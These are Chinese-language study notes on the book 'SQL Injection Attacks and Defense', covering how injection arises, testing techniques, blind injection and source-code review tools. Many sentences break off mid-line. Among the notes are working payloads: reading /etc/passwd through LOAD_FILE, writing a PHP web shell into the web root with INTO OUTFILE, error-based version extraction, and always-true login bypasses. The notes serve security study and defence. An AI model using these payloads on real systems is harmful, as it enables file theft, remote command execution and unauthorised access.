第1章 什麼是SQL注入
數據庫驅動的web應用通常包含三層:表示層(web瀏覽器)、邏輯層(JSP)、持久層(數據庫);
四層結構:表示層、邏輯層、應用層、持久層;
參數化查詢:指SQL語句中包含一個或多個嵌入參數的查詢。可以在運行過程中將參數傳遞給這些查詢。包含的嵌入到用戶輸入中的參數不會被解析成命令而執行,
理解SQL注入的產生過程:
-構造動態字符串-
1.轉義字符處理不當:SQL數據庫將單引號字符(')解析成代碼與數據間的分界線:假定單引號外面的內容均是需要運行的代碼,而用單引號引起來的內容均是數據。
因此,只需簡單地在URL或Web頁面(或應用)的字段中輸入一個單引號,就能快速識別出web站點是否會受到SQL注入攻擊。
如果將一個單引號字符作爲該程序的輸入,則可能會出現下列錯誤中的一種。具體出現何種錯誤取決於很多環境因素,比如編程語言、使用的數據庫以及
單引號字符會被解析成字符串分隔符並作爲代碼與數據間的分界線。處理數字數據時,不需要使用單引號將數字數據引起來,否則數字數據會被當作字符串
單引號字符並不是唯一的轉義字符。比如在Oracle中,空格( )、雙豎線( || )、逗號(,)、點號(.)、(*/)以及雙引號字符(")均具有特殊含義。
2.類型處理不當:
mysql提供一個名爲LOAD_FILE的函數,能夠讀取文件並將文件內容作爲字符串返回。要使用該函數,必須保證讀取的文件位於數據庫服務器上,然後將文件
UNION All Select LOAD_FILE('/etc/passwd') --
mysql還包含一個內置命令,可使用該命令來創建系統文件並進行寫操作。還可使用下面的命令向web根目錄寫入一個Web shell以便安裝一個可遠程交互訪問
UNION Select "<?system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"--
要想執行LOAD_FILE和SELECT INTO OUTFILE命令,易受攻擊應用所使用的mysql用戶就必須擁有FILE權限(FILE是管理員權限)。
攻擊者的輸入直接被解析成SQL語法,所以攻擊者沒有必要使用單引號字符來轉義查詢。下面的代碼更加清晰地說明了構造的SQL語句:
Select * From Table Where UserId = 1 UNION All Select LOAD_FILE('/etc/passwd)--
3.查詢集處理不當:
4.錯誤處理不當: ' and 1 in (SELECT @@version) --
5.多個提交處理不當:
- 不安全的數據庫配置 -
數據庫帶有很多默認的用戶預安裝內容。SQL Server使用 "sa" 作爲數據庫系統管理員帳戶;
第2章 SQL注入測試
我們很難訪問到應用的源代碼,因此需要藉助推理進行測試。要理解並進行攻擊,擁有一種分析型思維模式非常重要。
1.藉助推理進行測試:識別SQL注入漏洞有一種簡單的規則:通過發送意外數據來觸發異常。該規則包含以下含義:
瞭解哪種類型的請求會觸發異常;
檢測服務器響應中的異常;
識別出應用接收的所有數據後,需要修改這些數據並分析服務器對它們的響應。有時響應中會直接包含來自數據庫的SQL錯誤,這時所有工作都將變得
修改瀏覽器數據(代理服務器)
其他注入型數據:大多數應用都從GET或POST參數中檢索數據,但HTTP請求的其他內容也可能會觸發SQL注入漏洞。
cookie就是個很好的例子。cookie被髮送給用戶端的瀏覽器,並在每個請求中都會自動回發給服務器。
cookie一般被用來驗證、會話控制和保存用戶特定的信息。我們可以完全控制發送給服務器的內容,所以應該考慮將cookie作爲一種有效的
2).操縱參數
用戶數據驗證,有兩個原因會引發SQL注入漏洞:
缺少用戶輸入驗證(缺少用戶輸入驗證,將導致攻擊者可以從數據部分跳到注入控制命令)
數據和控制結構混合在同一傳輸通道中
3).信息工作流
要對數據輸入影響SQL查詢的過程和可以從數據庫期望獲取的響應類型有清晰的理解。
動態web請求所涉及的各方之間的信息工作流:
1.用戶向Web服務器發送請求;
2.Web服務器檢索用戶數據,創建包含用戶輸入的SQL語句,然後向數據庫服務器發送查詢;
3.數據庫服務器執行SQL查詢並將結果返回給Web服務器;
4.Web服務器根據數據庫響應動態地創建HTML頁面。
2.數據庫錯誤
常見SQL錯誤(不需要記住所有的錯誤代碼,重要的是理解錯誤發生的時機和原因)
1) SQL Server錯誤
瀏覽器: http://www.victim.com/showproducts.php?category=attacker'
SQL服務器: Select * From products Where category='attacker'' // 該應用並未審查單引號,所以數據庫服務器拒絕執行該語句並返回一個錯誤。
瀏覽器: http://www.victim.com/showproducts.php?id=2
http://www.victim.com/showproducts.php?id=attacker //payload
SQL服務器: Select * From products Where idproducts=2
Select * From products Where idproducts=attacker
可以使用一些技術來檢索嵌入在數據庫返回錯誤中的信息。 第一種技術是通過將字符串轉換爲整數來產生錯誤:
http://www.victim.com/showproducts.php?category=bikes' and 1=0/@@version;--
http://www.victim.com/showproducts.php?category=bikes' and 1=0/user;--
http://www.victim.com/showproducts.php?category=bikes' having 1 '=' 1 // 用於顯示數據庫執行的語句信息
http://www.victim.com/showproducts.php?category=bikes' group by productid having 1 '='1
http://www.victim.com/showproducts.php?category=bikes' group by productid having '1 '='1
http://www.victim.com/showproducts.php?category=bikes' and 1=0/name;--
2)MySql錯誤:
3)Oracle錯誤:
3.應用響應:
尋找SQL注入漏洞的過程包括識別用戶數據輸入,操縱發送給應用的數據以及識別服務器返回結果中的變化。
通用錯誤
4.SQL盲注 (blind SQL injection)
用戶登錄:用戶名/密碼
user' or '1' = '1 // SQL盲注-永真 提示: Invalid password
user' and '1' = '2 // SQL盲注-永假 提示: Invalid username or password
做完永假測試後,可以確認username 字段易受到SQL注入攻擊。但password字段不易受到攻擊,而且無法繞過身份驗證表單。
username條件爲真時,表單顯示"Invalid password"
username條件爲假時,表單顯示"Invalid username or password"
這種情況被稱爲SQL盲注。SQL盲注是一種SQL注入漏洞,攻擊者可以操縱SQL語句,應用會針對真假條件返回不同的值。但是攻擊者無法檢索查詢結果。
由於SQL盲注漏洞非常耗時且需要向web服務發送很多請求,因此要想利用該漏洞,就需要採用自動的技術。
SQL盲注是一種很常見的漏洞,但有時它非常細微,檢驗不豐富的攻擊者可能會檢測不到。
-確認SQL注入-
*區分數字和字符串
2.使用註釋
3.執行多條語句
*時間延遲
-自動尋找SQL注入-
自動尋找SQL注入的工具:WebInspect
IBM Rational AppScan
HP Scrawlr
SQLix
Paros Proxy
捷徑:
尋找SQL注入漏洞存在三個關鍵點:
b.修改輸入值以包含危險的字符串
c.檢測服務器返回的異常
使用web代理角色扮演工具有助於繞過客戶端限制,完全控制發送給服務器的請求。此外,它們還能提高服務器響應的可見度,提供更多檢測到細小漏洞的機會。
包含數據庫錯誤或HTTP錯誤代碼的服務器響應通常能降低識別SQL注入漏洞的難度。不過SQL盲注是一種即使應用不返回明顯錯誤也能利用漏洞的技術。
2.確認SQL注入
要想確認一個SQL注入漏洞並進一步加以利用,需要構造一條能注入SQL代碼的請求以便應用創建一條語法正確的SQl語句,之後由數據庫服務器執行該
創建語法正確的語句時,可以終止它並註釋剩下的查詢。對於這種情況,通常可以毫無約束地連接任意SQL代碼,進而提供執行攻擊的能力。
有時,應用對注入操作沒有回覆任何可見的信息。這時可以通過向來自數據庫的回覆引入延遲來確認注入。應用服務器將等待數據庫回覆,我們則可以確認
3.自動發現SQL注入
尋找SQL注入漏洞所涉及的操作可以被適度自動化。當需要測試大型web站點時,自動技術非常有用,但需要意識到自動發現工具可能無法識別某些存在的
有多款商業工具可以對web站點的完整安全性進行評估,還可以進行SQL注入漏洞測試。可選擇免費、開源的工具來輔助大型站點中的SQL注入漏洞查找操作。
第3章 複查代碼中的SQl注入
分析源代碼漏洞主要有兩種方法:靜態代碼分析和動態代碼分析。
靜態代碼分析:靜態代碼分析指在分析源代碼的過程中並不真正執行代碼。
動態代碼分析:動態代碼分析指在代碼運行過程中對其進行分析。
在複查SQL注入漏洞的語境中,我們將滲入點稱爲安全敏感函數,該函數用於執行涉及數據庫的SQL語句。爲縮小複查關注的範圍,應首先識別潛在的滲入點。
如果找到一個滲入點,則說明很可能存在SQL注入漏洞。大多數情況下必須進一步分析其他的代碼以確定是否存在注入漏洞。若web程序開發人員無法確保在
將從滲入源(表單、cookie、輸入參數)收到的值傳遞給SQL查詢之前已對其進行驗證,那麼通常會引發SQL注入漏洞。
1. 危險的編碼行爲:要執行有效的源代碼複查並識別所有潛在SQL注入漏洞,需要能區分危險的編碼行爲,比如加入動態字符串構造技術的代碼。
2. 危險的函數
3. 跟蹤數據
4. 複查PL/SQL 和 T-SQL代碼
自動複查源代碼
1. YASCA(開源程序,用於尋找程序源代碼中的安全漏洞和代碼質量問題) 集成了其他開源項目,比如:FindBugs、PMD、Jlint。
2. Pixy 免費的Java程序,能自動掃描PHP4的源代碼,目標是檢測跨站腳本和SQL注入漏洞。
3. AppCodeScan 用於掃描多種源代碼漏洞的工具。使用正則表達式匹配字符串來識別潛在的危險函數和代碼中的字符串,同時還提供了很多配置文件。
4. LAPSE 幫助用戶審查javaEE應用並尋找web應用中常見的安全漏洞類型。是eclipse的一個插件,能夠識別受感染的源和滲入點,另外還能映射源和滲入點之間的路徑。
5. SWAAT 掃描源代碼漏洞。
6. Microsoft SQL 注入源代碼分析器 靜態代碼分析工具,用於發現ASP代碼中的SQL注入漏洞。
7. CAT.NET 代碼分析工具 二進制代碼分析工具。用於識別某些流行漏洞中常見的變量。
8. Ounce
9. Fortify 源代碼分析器 靜態分析工具,能夠處理代碼並嘗試識別漏洞。
11. CodeSecure
捷徑:
1.複查源代碼中的SQL注入
2.自動複查源代碼
第4章 利用SQL注入
第5章 SQL盲注利用
第6章 利用操作系統
第7章 高級話題
第8章 代碼層防禦
第9章 平臺層防禦
第10章 參考資料
注:
SQL注入攻擊與防禦 SQL Injection Attacks and Defense Justin Clarke等著 黃曉磊 李化譯 清華大學出版社 2010.6